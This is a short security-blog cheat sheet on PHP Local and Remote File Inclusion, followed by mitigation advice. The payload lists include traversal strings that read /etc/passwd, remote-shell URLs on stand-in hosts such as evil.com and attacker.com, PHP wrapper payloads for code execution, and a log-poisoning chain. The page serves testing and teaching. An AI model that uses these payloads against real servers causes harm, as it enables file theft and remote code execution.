LFI/RFI | Saikumar Infosec

🧠 Description

What is LFI/RFI?

LFI allows attackers to include local files on the server. RFI allows attackers to include remote files from attacker-controlled servers. Both can lead to RCE when combined with log poisoning or other techniques.

LFI/RFI allows:

Read sensitive files
Remote Code Execution
Execute malicious code
Full server compromise

🏷️ Classification

LFI: Include local files (../etc/passwd)
RFI: Include remote files (http://evil.com/shell.txt)
PHP Wrappers: php://filter, expect://, etc.

🎯 Attack Surface

✅ Template includes
✅ Language includes
✅ Theme loaders
✅ Module loaders

🔍 Detection

Test: ?page=../../etc/passwd
Test: ?page=http://evil.com/shell.txt
Test: ?file=php://filter/convert.base64-encode/resource=config.php

🔧 Workflow

Find include() or require() functions
Test with LFI payloads
Test with RFI payloads
Use wrappers for RCE

💣 Basic Payloads

../../etc/passwd

../etc/passwd

....//....//....//etc/passwd

..%2f..%2f..%2fetc%2fpasswd

RFI Payloads

http://attacker.com/shell.txt

ftp://attacker.com/shell.txt

🚀 Advanced Payloads

PHP Wrappers

php://filter/convert.base64-encode/resource=index.php

php://input (POST code execution)

expect://whoami (RCE)

data://text/plain,

📝 Proof of Concept

# LFI
GET /index.php?page=../../etc/passwd

# RCE via php://input
POST /index.php?page=php://input

💥 Impact

Severity: CRITICAL

Remote Code Execution
Full server compromise
Complete data breach

🔗 Attack Chain

LFI to RCE via Log Poisoning

Find LFI in include()
Inject PHP to access.log via User-Agent
Include access.log to execute code

🛡️ Mitigation

✅ Disable allow_url_include: Prevent RFI

✅ Use file IDs: Map filenames to IDs

✅ Validate paths: Ensure file is in allowed directory

🏰 Advanced

# php.ini
allow_url_include = Off
allow_url_fopen = Off

# Whitelist approach
$allowed = ['home', 'about', 'contact'];
if(in_array($_GET['page'], $allowed)) {
    include($_GET['page'] . '.php');
}

📊 Monitoring

Alert on php:// wrappers
Alert on ../ in parameters

🔐 Security Controls

Control	Implementation
Disable RFI	allow_url_include=Off
Whitelist	Use file ID mapping

🛠️ Tools

LFISuite

LFI automated exploitation

Burp

Manual testing

📚 References

OWASP: LFI

🔄 Retest Steps

Step	Action
1	Disable allow_url_include
2	Re-test with RFI payload

🔴 Local File Inclusion (LFI) & Remote File Inclusion (RFI)